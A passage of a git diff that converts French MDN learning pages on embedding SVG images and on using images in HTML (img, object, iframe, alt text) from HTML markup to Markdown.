sauvegarder vos fichiers, cela permet d'économiser de l'espace. Pour plus d'informations sur la préparation, lire [cet article qui décrit comment préparer des fichiers SVG pour les utiliser sur le Web](http://tavmjong.free.fr/INKSCAPE/MANUAL/html/Web-Inkscape.html). -<h2 id="La_méthode_rapide_htmlelement(img)">La méthode rapide : {{htmlelement("img")}}</h2> +## La méthode rapide : {{htmlelement("img")}} -<p>Vous pouvez simplement faire référence à un fichier SVG au sein de l'élément {{htmlelement("img")}}, comme vous l'auriez fait avec une image matricielle. Il faudra utiliser l'attribut <code>height</code> ou <code>width</code> (voire les deux si le fichier SVG ne possède pas de ratio inhérent). Si ce n'est pas déjà fait, vous pouvez <a href="/fr/Apprendre/HTML/Comment/Ajouter_des_images_à_une_page_web">lire ce tutoriel sur <code><img></code></a>.</p> +Vous pouvez simplement faire référence à un fichier SVG au sein de l'élément {{htmlelement("img")}}, comme vous l'auriez fait avec une image matricielle. Il faudra utiliser l'attribut `height` ou `width` (voire les deux si le fichier SVG ne possède pas de ratio inhérent). Si ce n'est pas déjà fait, vous pouvez [lire ce tutoriel sur `<img>`](/fr/Apprendre/HTML/Comment/Ajouter_des_images_à_une_page_web). -<pre class="brush: html"><img +```html +<img src="equilateral.svg" alt="un triangle aux trois côtés égaux" height="87px" - width="100px" /></pre> + width="100px" /> +``` -<h3 id="Avantages">Avantages</h3> +### Avantages -<ul> - <li>Rapide à mettre en œuvre, syntaxe très proche avec les images matricielles, texte alternatif disponible.</li> - <li>Il est également possible de créer des hyperliens en plaçant l'élément <code><img></code> dans un élément {{htmlelement("a")}}.</li> -</ul> +- Rapide à mettre en œuvre, syntaxe très proche avec les images matricielles, texte alternatif disponible. +- Il est également possible de créer des hyperliens en plaçant l'élément `<img>` dans un élément {{htmlelement("a")}}. -<h3 id="Inconvénients">Inconvénients</h3> +### Inconvénients -<ul> - <li>Pour les navigateurs historiques qui existaient avant la démocratisation de SVG (Internet Explorer 8, Android 2.3 et autres), on pourra utiliser une image PNG ou JPG dans l'attribut <code>src</code> en combinaison avec l'attribut {{htmlattrxref("srcset","img")}} : +- Pour les navigateurs historiques qui existaient avant la démocratisation de SVG (Internet Explorer 8, Android 2.3 et autres), on pourra utiliser une image PNG ou JPG dans l'attribut `src` en combinaison avec l'attribut {{htmlattrxref("srcset","img")}} : - <pre class="brush: html"><img src="equilateral.png" alt="un triangle dont tous les côtés sont égaux" srcset="equilateral.svg"/> -</pre> - </li> - <li>Il est impossible de manipuler l'image avec JavaScript.</li> - <li>Si vous souhaitez contrôler le contenu du SVG avec du code CSS, vous devez inclure les styles CSS dans le code SVG (les feuilles de style externes appelées depuis le SVG n'auront aucun effet).</li> - <li>Il n'est pas possible de remettre l'image en forme avec les pseudo-classes CSS (par exemple <code>:focus</code>).</li> -</ul> + ```html + <img src="equilateral.png" alt="un triangle dont tous les côtés sont égaux" srcset="equilateral.svg"/> + ``` -<div class="note"> - <p><strong>Note :</strong></p> -<ul> - <li>Les images SVG peuvent tout à fait être utilisées comme images d'arrière-plan dans du CSS. Cette méthode possèdera les mêmes limites que celles qui viennent d'être décrites ici (pour la méthode où on intègre une image SVG via <code><img></code>). +- Il est impossible de manipuler l'image avec JavaScript. +- Si vous souhaitez contrôler le contenu du SVG avec du code CSS, vous devez inclure les styles CSS dans le code SVG (les feuilles de style externes appelées depuis le SVG n'auront aucun effet). +- Il n'est pas possible de remettre l'image en forme avec les pseudo-classes CSS (par exemple `:focus`). - <pre class="brush: css">background: url("image-de-secours.png"); -background-image: url(image.svg); -background-size: contain;</pre> - </li> - <li>Si vos fichiers SVG ne s'affichent pas, cela peut vouloir dire que votre serveur n'est pas correctement paramétré. Dans ce cas, <a href="/fr/docs/Web/SVG/Tutoriel/Premiers_pas#Un_mot_sur_les_serveurs_Web">cet article pourra vous aider à résoudre le problème</a>.</li> -</ul> -</div> +> **Note :** +> +> - Les images SVG peuvent tout à fait être utilisées comme images d'arrière-plan dans du CSS. Cette méthode possèdera les mêmes limites que celles qui viennent d'être décrites ici (pour la méthode où on intègre une image SVG via `<img>`). +> +> ```css +> background: url("image-de-secours.png"); +> background-image: url(image.svg); +> background-size: contain; +> ``` +> +> - Si vos fichiers SVG ne s'affichent pas, cela peut vouloir dire que votre serveur n'est pas correctement paramétré. Dans ce cas, [cet article pourra vous aider à résoudre le problème](/fr/docs/Web/SVG/Tutoriel/Premiers_pas#Un_mot_sur_les_serveurs_Web). -<h2 id="Comment_inclure_une_image_SVG_directement_dans_le_code_du_document">Comment inclure une image SVG directement dans le code du document</h2> +## Comment inclure une image SVG directement dans le code du document -<p>Il suffit d'ouvrir le fichier SVG avec un éditeur de texte, de copier le tout puis de le coller dans le document. Assurez-vous que votre fragment de code commence et finit avec la balise <code><a href="/fr/docs/Web/SVG/Element/svg"><svg></a></code>. Voici un exemple très simple que vous pouvez directement copier-coller dans votre document :</p> +Il suffit d'ouvrir le fichier SVG avec un éditeur de texte, de copier le tout puis de le coller dans le document. Assurez-vous que votre fragment de code commence et finit avec la balise [`<svg>`](/fr/docs/Web/SVG/Element/svg). Voici un exemple très simple que vous pouvez directement copier-coller dans votre document : -<pre class="brush: html"><svg width="300" height="200"> - <rect width="100%" height="100%" fill="green" /> -</svg> -</pre> +```html +<svg width="300" height="200"> + <rect width="100%" height="100%" fill="green" /> +</svg> +``` -<p>La balise <code><svg></code> n'a pas besoin des attributs <code>version</code>, <code>baseProfile</code> ou <code>xmlns</code>. Assurez-vous de bien retirer les déclarations d'espaces de noms (<em>namespace</em>) éventuellement introduites par Inkscape (en effet, HTML ne tolère que les espaces de noms XHTML, XLink, MathML et SVG). Si vous souhaitez optimiser votre fichier de façon plus approfondie, vous pouvez utiliser <a href="http://petercollingridge.appspot.com/svg_optimiser">SVG Optimiser</a> ou <a href="http://www.codedread.com/scour/">Scour</a>.</p> +La balise `<svg>` n'a pas besoin des attributs `version`, `baseProfile` ou `xmlns`. Assurez-vous de bien retirer les déclarations d'espaces de noms (_namespace_) éventuellement introduites par Inkscape (en effet, HTML ne tolère que les espaces de noms XHTML, XLink, MathML et SVG). Si vous souhaitez optimiser votre fichier de façon plus approfondie, vous pouvez utiliser [SVG Optimiser](http://petercollingridge.appspot.com/svg_optimiser) ou [Scour](http://www.codedread.com/scour/). -<h3 id="Avantages_2">Avantages</h3> +### Avantages -<ul> - <li>Placer le SVG à même le document permet d'économiser une requête HTTP, ce qui peut permettre de réduire le temps de chargement de la page.</li> - <li>Vous pouvez ajouter des attributs <code>class</code> et <code>id</code> aux éléments SVG pour les mettre en forme grâce à CSS (directement au sein du SVG ou dans les règles liées au document HTML). En fait, <a href="/fr/docs/Web/SVG/Attribute#Attributs_de_pr.C3.A9sentation">chaque attribut de présentation SVG</a> peut être utilisé comme propriété CSS.</li> - <li>Cette approche est la seule qui permet d'utiliser des interactions CSS (telles que <code>:focus</code>) et des animations CSS. Il faut toutefois noter que les <a href="http://css-tricks.com/guide-svg-animations-smil/">animation SMIL</a> fonctionneront avec toutes les méthodes décrites dans cet article.</li> - <li>Avec cette méthode, les images SVG peuvent être utilisées comme hyperlien.</li> -</ul> +- Placer le SVG à même le document permet d'économiser une requête HTTP, ce qui peut permettre de réduire le temps de chargement de la page. +- Vous pouvez ajouter des attributs `class` et `id` aux éléments SVG pour les mettre en forme grâce à CSS (directement au sein du SVG ou dans les règles liées au document HTML). En fait, [chaque attribut de présentation SVG](/fr/docs/Web/SVG/Attribute#Attributs_de_pr.C3.A9sentation) peut être utilisé comme propriété CSS. +- Cette approche est la seule qui permet d'utiliser des interactions CSS (telles que `:focus`) et des animations CSS. Il faut toutefois noter que les [animation SMIL](http://css-tricks.com/guide-svg-animations-smil/) fonctionneront avec toutes les méthodes décrites dans cet article. +- Avec cette méthode, les images SVG peuvent être utilisées comme hyperlien. -<h3 id="Inconvénients_2">Inconvénients</h3> +### Inconvénients -<ul> - <li>Cette méthode n'est utilisable que si le SVG n'est utilisé qu'à un seul endroit. S'il faut le dupliquer, cela compliquera la maintenance et gaspillera de la mémoire.</li> - <li>Chaque image SVG augmente la taille du fichier HTML.</li> - <li>Le navigateur ne peut pas placer ces images SVG en cache comme il pourrait le faire avec d'autres ressources.</li> - <li>Vous pouvez inclure un contenu à utiliser au cas où le navigateur ne supporte pas le SVG, grâce à {{svgelement("foreignObject")}}. Toutefois, les navigateurs qui supportent SVG téléchargeront quand même les ressources supplémentaires. Il faut donc décider si cette charge supplémentaire est nécessaire pour gérer les anciens navigateurs.</li> -</ul> +- Cette méthode n'est utilisable que si le SVG n'est utilisé qu'à un seul endroit. S'il faut le dupliquer, cela compliquera la maintenance et gaspillera de la mémoire. +- Chaque image SVG augmente la taille du fichier HTML. +- Le navigateur ne peut pas placer ces images SVG en cache comme il pourrait le faire avec d'autres ressources. +- Vous pouvez inclure un contenu à utiliser au cas où le navigateur ne supporte pas le SVG, grâce à {{svgelement("foreignObject")}}. Toutefois, les navigateurs qui supportent SVG téléchargeront quand même les ressources supplémentaires. Il faut donc décider si cette charge supplémentaire est nécessaire pour gérer les anciens navigateurs. -<ul> -</ul> +<!----> -<h2 id="Comment_intégrer_un_SVG_dans_un_élément_htmlelement(object)">Comment intégrer un SVG dans un élément {{htmlelement("object")}}</h2> +## Comment intégrer un SVG dans un élément {{htmlelement("object")}} -<p>Cette syntaxe est assez simple et permet également de définir un contenu à utiliser quand SVG n'est pas supporté :</p> +Cette syntaxe est assez simple et permet également de définir un contenu à utiliser quand SVG n'est pas supporté : -<pre class="brush: html"><object data="parallelogramme.svg" +```html +<object data="parallelogramme.svg" width="300" height="250" - type="image/svg+xml"> + type="image/svg+xml"> -<img src="parallelogramme.png" - alt="un quadrilatère dont les côtés sont parallèles deux à deux" /> +<img src="parallelogramme.png" + alt="un quadrilatère dont les côtés sont parallèles deux à deux" /> -</object> +</object> +``` -</pre> +### Inconvénients -<h3 id="Inconvénients_3">Inconvénients</h3> +- Là aussi, les navigateurs qui supportent SVG téléchargeront également les ressources alternatives comme les images. +- Les éléments `<object>` ne peuvent pas être transformés en liens. Le SVG sera affiché mais ne sera pas déclenchable. +- Les éléments SVG peuvent être mis en forme avec CSS mais -<ul> - <li>Là aussi, les navigateurs qui supportent SVG téléchargeront également les ressources alternatives comme les images.</li> - <li>Les éléments <code><object></code> ne peuvent pas être transformés en liens. Le SVG sera affiché mais ne sera pas déclenchable.</li> - <li>Les éléments SVG peuvent être mis en forme avec CSS mais - <ul> - <li>le code SVG doit contenir les règles CSS (par exemple dans un élément <code><style></code>) ou</li> - <li>le fichier SVG doit contenir un lien vers la feuille de style externe. Pour créer ce lien, vous pouvez utiliser ce code, à placer dans le code SVG avant les autres balises : - <pre class="brush: xml"><?xml-stylesheet type="text/css" href="svg.css" ?></pre> - (Attention à ne pas utiliser ce code avec du SVG intégré directement dans le HTML car cela pourrait rendre la page non-fonctionnelle)</li> - </ul> - </li> -</ul> + - le code SVG doit contenir les règles CSS (par exemple dans un élément `<style>`) ou + - le fichier SVG doit contenir un lien vers la feuille de style externe. Pour créer ce lien, vous pouvez utiliser ce code, à placer dans le code SVG avant les autres balises : -<h2 id="Comment_intégrer_un_SVG_avec_un_élément_htmlelement(iframe)">Comment intégrer un SVG avec un élément {{htmlelement("iframe")}}</h2> + ```xml + <?xml-stylesheet type="text/css" href="svg.css" ?> + ``` -<p>Vous pouvez ouvrir des images SVG dans votre navigateur de la même façon qu'on peut ouvrir des pages web. Intégrer des images SVG dans un élément <code><iframe></code> n'est donc qu'une variation de <a href="/fr/Apprendre/HTML/Howto/Embed_a_webpage_within_another_webpage">l'intégration d'une page web dans une autre page web</a>.</p> + (Attention à ne pas utiliser ce code avec du SVG intégré directement dans le HTML car cela pourrait rendre la page non-fonctionnelle) -<p>Voici un rapide exemple :</p> +## Comment intégrer un SVG avec un élément {{htmlelement("iframe")}} -<pre class="brush: html"><iframe src="triangle.svg" width="500" height="500" sandbox> - <img src="triangle.png" alt="Un triangle avec trois côtés inégaux" /> -</iframe></pre> +Vous pouvez ouvrir des images SVG dans votre navigateur de la même façon qu'on peut ouvrir des pages web. Intégrer des images SVG dans un élément `<iframe>` n'est donc qu'une variation de [l'intégration d'une page web dans une autre page web](/fr/Apprendre/HTML/Howto/Embed_a_webpage_within_another_webpage). -<p><code>iframe</code> permet d'afficher un contenu de secours qui ne sera affiché que si le navigateur ne supporte pas les <code>iframe</code>.</p> +Voici un rapide exemple : -<p>De plus, sauf si le SVG et la page web actuelle ont la même {{glossary('origine')}}, il n'est pas possible d'utiliser JavaScript pour manipuler le SVG depuis la page web.</p> +```html +<iframe src="triangle.svg" width="500" height="500" sandbox> + <img src="triangle.png" alt="Un triangle avec trois côtés inégaux" /> +</iframe> +``` -<h2 id="En_savoir_plus">En savoir plus</h2> +`iframe` permet d'afficher un contenu de secours qui ne sera affiché que si le navigateur ne supporte pas les `iframe`. -<ul> - <li>{{htmlelement("iframe")}}</li> - <li>{{htmlelement("object")}}</li> - <li>{{htmlelement("img")}}</li> - <li><a href="/fr/docs/Web/SVG/Tutoriel/Premiers_pas">Le tutoriel SVG</a> sur MDN</li> - <li><a href="http://thenewcode.com/744/Making-SVG-Responsive">Conseils rapides pour des SVG adaptatifs (en anglais)</a></li> - <li><a href="http://tympanus.net/codrops/2014/08/19/making-svgs-responsive-with-css/">Le tutoriel de Sara Soueidan sur les images SVG adaptatives (en anglais)</a></li> - <li><a href="http://www.w3.org/TR/SVG-access/">Les bénéfices du format SVG pour l'accessibilité (en anglais)</a></li> - <li><a href="https://css-tricks.com/scale-svg/">Comment redimensionner des fichiers SVG (en anglais)</a> (ce n'est pas aussi simple qu'avec les images matricielles)</li> - <li><a href="http://www.w3.org/TR/SVG/">La spécification SVG</a></li> -</ul> +De plus, sauf si le SVG et la page web actuelle ont la même {{glossary('origine')}}, il n'est pas possible d'utiliser JavaScript pour manipuler le SVG depuis la page web. + +## En savoir plus + +- {{htmlelement("iframe")}} +- {{htmlelement("object")}} +- {{htmlelement("img")}} +- [Le tutoriel SVG](/fr/docs/Web/SVG/Tutoriel/Premiers_pas) sur MDN +- [Conseils rapides pour des SVG adaptatifs (en anglais)](http://thenewcode.com/744/Making-SVG-Responsive) +- [Le tutoriel de Sara Soueidan sur les images SVG adaptatives (en anglais)](http://tympanus.net/codrops/2014/08/19/making-svgs-responsive-with-css/) +- [Les bénéfices du format SVG pour l'accessibilité (en anglais)](http://www.w3.org/TR/SVG-access/) +- [Comment redimensionner des fichiers SVG (en anglais)](https://css-tricks.com/scale-svg/) (ce n'est pas aussi simple qu'avec les images matricielles) +- [La spécification SVG](http://www.w3.org/TR/SVG/) diff --git a/files/fr/learn/html/multimedia_and_embedding/images_in_html/index.md b/files/fr/learn/html/multimedia_and_embedding/images_in_html/index.md index abda8ddf31..ba3fee679a 100644 --- a/files/fr/learn/html/multimedia_and_embedding/images_in_html/index.md +++ b/files/fr/learn/html/multimedia_and_embedding/images_in_html/index.md @@ -15,187 +15,196 @@ tags: translation_of: Learn/HTML/Multimedia_and_embedding/Images_in_HTML original_slug: Apprendre/HTML/Multimedia_and_embedding/Images_in_HTML --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{NextMenu("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding")}} -<div>{{NextMenu("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding")}}</div> - -<p>Au début, le Web n'était que du texte, ce qui était un peu ennuyeux. Heureusement, il n'a pas fallu longtemps pour que la possibilité d'intégrer des images ( et d'autres types de contenu intéressants) dans une page web soit ajoutée. Bien qu'il y ait plusieurs types de contenu multimedia, il est logique de commencer avec l'humble élément {{htmlelement("img")}}, utilisé pour intégrer une image dans une page web. Dans cet article, nous approfondirons son utilisation en abordant les principes fondamentaux, l'annotation par légendes utilisant {{htmlelement("figure")}}, et en analysant sa relation avec les images d'arrière-plan du {{glossary("CSS")}} .</p> +Au début, le Web n'était que du texte, ce qui était un peu ennuyeux. Heureusement, il n'a pas fallu longtemps pour que la possibilité d'intégrer des images ( et d'autres types de contenu intéressants) dans une page web soit ajoutée. Bien qu'il y ait plusieurs types de contenu multimedia, il est logique de commencer avec l'humble élément {{htmlelement("img")}}, utilisé pour intégrer une image dans une page web. Dans cet article, nous approfondirons son utilisation en abordant les principes fondamentaux, l'annotation par légendes utilisant {{htmlelement("figure")}}, et en analysant sa relation avec les images d'arrière-plan du {{glossary("CSS")}} . <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Notions élémentaires en informatique, <a href="/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base">installation des outils de base</a>, bases de la <a href="/fr/Apprendre/Commencer_avec_le_web/G%C3%A9rer_les_fichiers">manipulation des fichiers</a>, fondamentaux du HTML (comme décrit dans <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML/Getting_started">Commencer avec le Web).</a></td> - </tr> - <tr> - <th scope="row">Objectifs :</th> - <td>Apprendre à intégrer des images simples en HTML, à les légender d'un intitulé, et à mettre en relation ces images HTML avec les images d'arrière-plan du CSS.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Notions élémentaires en informatique, + <a + href="/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base" + >installation des outils de base</a + >, bases de la + <a href="/fr/Apprendre/Commencer_avec_le_web/G%C3%A9rer_les_fichiers" + >manipulation des fichiers</a + >, fondamentaux du HTML (comme décrit dans <a + href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML/Getting_started" + >Commencer avec le Web).</a + > + </td> + </tr> + <tr> + <th scope="row">Objectifs :</th> + <td> + Apprendre à intégrer des images simples en HTML, à les légender d'un + intitulé, et à mettre en relation ces images HTML avec les images + d'arrière-plan du CSS. + </td> + </tr> + </tbody> </table> -<h2 id="Comment_intégrer_une_image_à_une_page_web">Comment intégrer une image à une page web ?</h2> +## Comment intégrer une image à une page web ? -<p>Pour mettre une image simple sur une page web, nous utiliserons l'élément {{htmlelement("img")}}. C'est un {{glossary("empty element","élément vide")}} (ce qui signifie qu'il ne contient ni texte ni balise de fermeture) qui demande au moins un attribut pour fonctionner — <code>src</code> (souvent appelé par son nom entier: <em>source</em>). L'attribut <code>src</code> contient un chemin pointant vers l'image que vous voulez intégrer, qui peut être une URL absolue ou relative, de la même manière que l'élément {{htmlelement("a")}} <code>href=</code> attribue des valeurs.</p> +Pour mettre une image simple sur une page web, nous utiliserons l'élément {{htmlelement("img")}}. C'est un {{glossary("empty element","élément vide")}} (ce qui signifie qu'il ne contient ni texte ni balise de fermeture) qui demande au moins un attribut pour fonctionner — `src` (souvent appelé par son nom entier: *source*). L'attribut `src` contient un chemin pointant vers l'image que vous voulez intégrer, qui peut être une URL absolue ou relative, de la même manière que l'élément {{htmlelement("a")}} `href=` attribue des valeurs. -<div class="note"> -<p><strong>Note :</strong> Vous devriez lire <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML/Creating_hyperlinks#url">Une brève présentation des URL et des chemins</a> pour vous rafraîchir la mémoire avant de continuer.</p> -</div> +> **Note :** Vous devriez lire [Une brève présentation des URL et des chemins](/fr/Apprendre/HTML/Introduction_%C3%A0_HTML/Creating_hyperlinks#url) pour vous rafraîchir la mémoire avant de continuer. -<p>Donc, par exemple, si votre image s'appelle <code>dinosaur.jpg</code>, et qu'elle est située dans le même répertoire que votre page HTML, vous pouvez intégrer cette image comme ceci (URL relative) :</p> +Donc, par exemple, si votre image s'appelle `dinosaur.jpg`, et qu'elle est située dans le même répertoire que votre page HTML, vous pouvez intégrer cette image comme ceci (URL relative) : -<pre class="brush: html"><img src="dinosaur.jpg"></pre> +```html +<img src="dinosaur.jpg"> +``` -<p>Et si cette image se trouve dans un sous-répertoire <code>images</code> situé dans le même dossier que la page HTML (ce que Google recommande pour {{glossary("SEO")}}/dans un but d'indexation et d'optimisation de la recherche), alors vous l'intégrerez comme ceci :</p> +Et si cette image se trouve dans un sous-répertoire `images` situé dans le même dossier que la page HTML (ce que Google recommande pour {{glossary("SEO")}}/dans un but d'indexation et d'optimisation de la recherche), alors vous l'intégrerez comme ceci : -<pre class="brush: html"><img src="images/dinosaur.jpg"></pre> +```html +<img src="images/dinosaur.jpg"> +``` -<p>Ainsi de suite.</p> +Ainsi de suite. -<div class="note"> -<p><strong>Note :</strong> Les moteurs de recherche lisent aussi les noms de fichiers image et s'en servent pour optimiser la recherche. Donc, donnez à vos images des noms de fichiers descritifs et qui ont du sens. <code>dinosaur.jpg</code> est infiniment mieux que <code>img835.png</code>.</p> -</div> +> **Note :** Les moteurs de recherche lisent aussi les noms de fichiers image et s'en servent pour optimiser la recherche. Donc, donnez à vos images des noms de fichiers descritifs et qui ont du sens. `dinosaur.jpg` est infiniment mieux que `img835.png`. -<p>Vous pouvez intégrer l'image en utilisant son URL absolue, par exemple :</p> +Vous pouvez intégrer l'image en utilisant son URL absolue, par exemple : -<pre class="brush: html"><img src="https://www.example.com/images/dinosaur.jpg"></pre> +```html +<img src="https://www.example.com/images/dinosaur.jpg"> +``` -<p>Ce n'est pas trés efficace, cela fait travailler le navigateur plus qu'il ne devrait, il cherche l'adresse IP depuis le serveur DNS à chaque fois etc... Vous devriez autant que possible garder vos images du site sur le même serveur que la page HTML.</p> +Ce n'est pas trés efficace, cela fait travailler le navigateur plus qu'il ne devrait, il cherche l'adresse IP depuis le serveur DNS à chaque fois etc... Vous devriez autant que possible garder vos images du site sur le même serveur que la page HTML. -<div class="warning"> -<p><strong>Attention :</strong> La plupart des images ont des droits d'auteur. N'affichez jamais une image sur votre site à moins que :<br> - <br> - 1) Ce soit votre image (vous en êtes le créateur),<br> - 2) vous ayez reçu une permission explicite et écrite du propriètaire de l'image ou,<br> - 3) que vous ayez une preuve indiscutable que cette image appartient au domaine public.<br> - <br> - Les violations des lois sur les droits d'auteur sont non seulement illégales mais aussi non-éthiques. De plus, ne faites jamais pointer votre attribut <code>src</code> vers une image hébergée sur le site de quelqu'un d'autre sans en avoir l'autorisation. Cela s'appelle du "hotlinking". Souvenez-vous que voler de la bande passante à quelqu'un est aussi illégal. Cela ralentit aussi votre page et vous laisse sans contrôle si l'image est enlevée ou remplacée par une autre plus gênante...</p> -</div> +> **Attention :** La plupart des images ont des droits d'auteur. N'affichez jamais une image sur votre site à moins que : +> +> 1\) Ce soit votre image (vous en êtes le créateur), +> 2\) vous ayez reçu une permission explicite et écrite du propriètaire de l'image ou, +> 3\) que vous ayez une preuve indiscutable que cette image appartient au domaine public. +> +> Les violations des lois sur les droits d'auteur sont non seulement illégales mais aussi non-éthiques. De plus, ne faites jamais pointer votre attribut `src` vers une image hébergée sur le site de quelqu'un d'autre sans en avoir l'autorisation. Cela s'appelle du "hotlinking". Souvenez-vous que voler de la bande passante à quelqu'un est aussi illégal. Cela ralentit aussi votre page et vous laisse sans contrôle si l'image est enlevée ou remplacée par une autre plus gênante... -<p>Le code au-dessus vous donnera, à peu prés, le résultat suivant :</p> +Le code au-dessus vous donnera, à peu prés, le résultat suivant : -<p><img alt='A basic image of a dinosaur, embedded in a browser, with "Images in HTML" written above it' src="basic-image.png"></p> + -<div class="note"> -<p><strong>Note :</strong> Les éléments comme {{htmlelement("img")}} et {{htmlelement("video")}} sont souvent désignés comme des éléments "remplacés". C'est parce que le contenu et la taille de ces éléments sont définies par une ressource externe (comme un fichier image ou video), pas par le contenu de l'élément lui-même.</p> -</div> +> **Note :** Les éléments comme {{htmlelement("img")}} et {{htmlelement("video")}} sont souvent désignés comme des éléments "remplacés". C'est parce que le contenu et la taille de ces éléments sont définies par une ressource externe (comme un fichier image ou video), pas par le contenu de l'élément lui-même. -<div class="note"> -<p><strong>Note :</strong> Vous trouverez les exemples finis de cette section sur <a href="https://mdn.github.io/learning-area/html/multimedia-and-embedding/images-in-html/index.html">Github</a> (regardez aussi le <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/images-in-html/index.html">code source </a>.)</p> -</div> +> **Note :** Vous trouverez les exemples finis de cette section sur [Github](https://mdn.github.io/learning-area/html/multimedia-and-embedding/images-in-html/index.html) (regardez aussi le [code source ](https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/images-in-html/index.html).) -<h3 id="Texte_alternatif">Texte alternatif</h3> +### Texte alternatif -<p>Le prochain attribut que nous allons étudier est <code>alt</code>. Sa valeur est supposée être un descriptif sous forme de texte de l'image, à utiliser dans les cas où l'image ne peut être affichée. Exemple : le code au-dessus pourrait être modifié de cette manière :</p> +Le prochain attribut que nous allons étudier est `alt`. Sa valeur est supposée être un descriptif sous forme de texte de l'image, à utiliser dans les cas où l'image ne peut être affichée. Exemple : le code au-dessus pourrait être modifié de cette manière : -<pre class="brush: html"><img src="images/dinosaur.jpg" +```html +<img src="images/dinosaur.jpg" alt="The head and torso of a dinosaur skeleton; - it has a large head with long sharp teeth"></pre> + it has a large head with long sharp teeth"> +``` -<p>La manière la plus simple de tester votre texte <code>alt</code> est de mal épeler votre nom de fichier intentionnellement. Si dans l'exemple, la photo était épelée <code>dinosooooor.jpg</code>, le navigateur ne l'afficherait pas mais afficherait le texte alt à la place :</p> +La manière la plus simple de tester votre texte `alt` est de mal épeler votre nom de fichier intentionnellement. Si dans l'exemple, la photo était épelée `dinosooooor.jpg`, le navigateur ne l'afficherait pas mais afficherait le texte alt à la place : -<p><img alt="The Images in HTML title, but this time the dinosaur image is not displayed, and alt text is in its place." src="alt-text.png"></p> + -<p>Pourquoi vous verrez partout du texte alt ? Vous en aurez besoin car c'est très pratique en maintes occasions :</p> +Pourquoi vous verrez partout du texte alt ? Vous en aurez besoin car c'est très pratique en maintes occasions : -<ul> - <li>L'utilisateur est un déficient visuel qui utilise un <a href="https://fr.wikipedia.org/wiki/Lecteur_d%27%C3%A9cran">lecteur d'écran</a> qui s'en sert pour "lire" le web. En fait, avoir du texte alt disponible pour décrire les images est très utile à beaucoup d'utilisateurs.</li> - <li>Comme nous l'avons vu au-dessus, vous pourriez avoir mal épelé le nom ou le chemin du fichier.</li> - <li>Le navigateur ne gère pas ce type d'image. Certains utilisent encore des navigateurs en terminal, affichant seulement du texte (comme <a href="https://fr.wikipedia.org/wiki/Lynx_(navigateur)">Lynx)</a>, qui affichent le texte alt des images.</li> - <li>Vous pouvez avoir envie de fournir du texte que pourraient utiliser les moteurs de recherche. Par exemple, ils mettront en relation le texte alt avec des requêtes de recherche.</li> - <li>L'utilisateur a supprimé les images pour économiser le volume du transfert de données ou pour ne pas être distrait. C'est très commun sur les téléphones mobiles et dans les pays où la bande passante est limitée ou coûte cher.</li> -</ul> +- L'utilisateur est un déficient visuel qui utilise un [lecteur d'écran](https://fr.wikipedia.org/wiki/Lecteur_d%27%C3%A9cran) qui s'en sert pour "lire" le web. En fait, avoir du texte alt disponible pour décrire les images est très utile à beaucoup d'utilisateurs. +- Comme nous l'avons vu au-dessus, vous pourriez avoir mal épelé le nom ou le chemin du fichier. +- Le navigateur ne gère pas ce type d'image. Certains utilisent encore des navigateurs en terminal, affichant seulement du texte (comme [Lynx)](<https://fr.wikipedia.org/wiki/Lynx_(navigateur)>), qui affichent le texte alt des images. +- Vous pouvez avoir envie de fournir du texte que pourraient utiliser les moteurs de recherche. Par exemple, ils mettront en relation le texte alt avec des requêtes de recherche. +- L'utilisateur a supprimé les images pour économiser le volume du transfert de données ou pour ne pas être distrait. C'est très commun sur les téléphones mobiles et dans les pays où la bande passante est limitée ou coûte cher. -<p>Que devriez-vous noter dans vos attributs <code>alt</code> ? En premier lieu, cela dépend de la raison pour laquelle cette image se trouve là. En d'autres mots, ce que vous perdriez si cette image ne s'affichait pas :</p> +Que devriez-vous noter dans vos attributs `alt` ? En premier lieu, cela dépend de la raison pour laquelle cette image se trouve là. En d'autres mots, ce que vous perdriez si cette image ne s'affichait pas : -<ul> - <li><strong>Decoration. </strong>Vous devriez utiliser {{anch("CSS background images")}} pour les images décoratives mais si vous devez utiliser du HTML, ajoutez un <code>alt=""</code> vide. Si l'image ne fait pas vraiment partie du contenu, un lecteur d'écran ne perdra pas de temps à la lire.</li> - <li><strong>Contenu. </strong>Si votre image fournit une ou plusieurs informations supplémentaires significatives, inscrivez ces mêmes informations dans un <em>bref</em> <em> </em><code>alt</code> text – ou mieux, dans le texte principal, que tout le monde puisse les voir. N'écrivez pas de <code>alt</code> text redondants. Imaginez combien ce serait ennuyeux pour un lecteur si tous les paragraphes étaient écrits en double... Si l'image est décrite de manière adéquate dans le corps de texte principal, vous pouvez utiliser simplement <code>alt=""</code>.</li> - <li><strong>Lien.</strong> Si vous mettez une image à l'intérieur d'une ancre {{htmlelement("a")}} pour transformer une image en lien, vous devez quand même fournir un <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML/Creating_hyperlinks#bplien">Lien texte accessible </a>. Dans de tels cas, vous pouvez, soit l'inclure dans le même élément <code><a></code>, soit dans l'attribut <code>alt</code> de l'image – utilisez ce qui marche le mieux dans votre cas.</li> - <li><strong>Texte.</strong> Vous ne devez pas mettre de texte dans les images. Si votre titre principal a besoin d'un peu d'ombrage par exemple, <a href="/fr/docs/Web/CSS/text-shadow">utilisez CSS</a> pour ça, plutôt que de mettre du texte dans une image. De toutes manières, si vous ne pouvez pas éviter de faire ça, vous devez ajouter le texte dans l'attribut <code>alt</code> .</li> -</ul> +- **Decoration.** Vous devriez utiliser {{anch("CSS background images")}} pour les images décoratives mais si vous devez utiliser du HTML, ajoutez un `alt=""` vide. Si l'image ne fait pas vraiment partie du contenu, un lecteur d'écran ne perdra pas de temps à la lire. +- **Contenu.** Si votre image fournit une ou plusieurs informations supplémentaires significatives, inscrivez ces mêmes informations dans un *bref* \* \*`alt` text – ou mieux, dans le texte principal, que 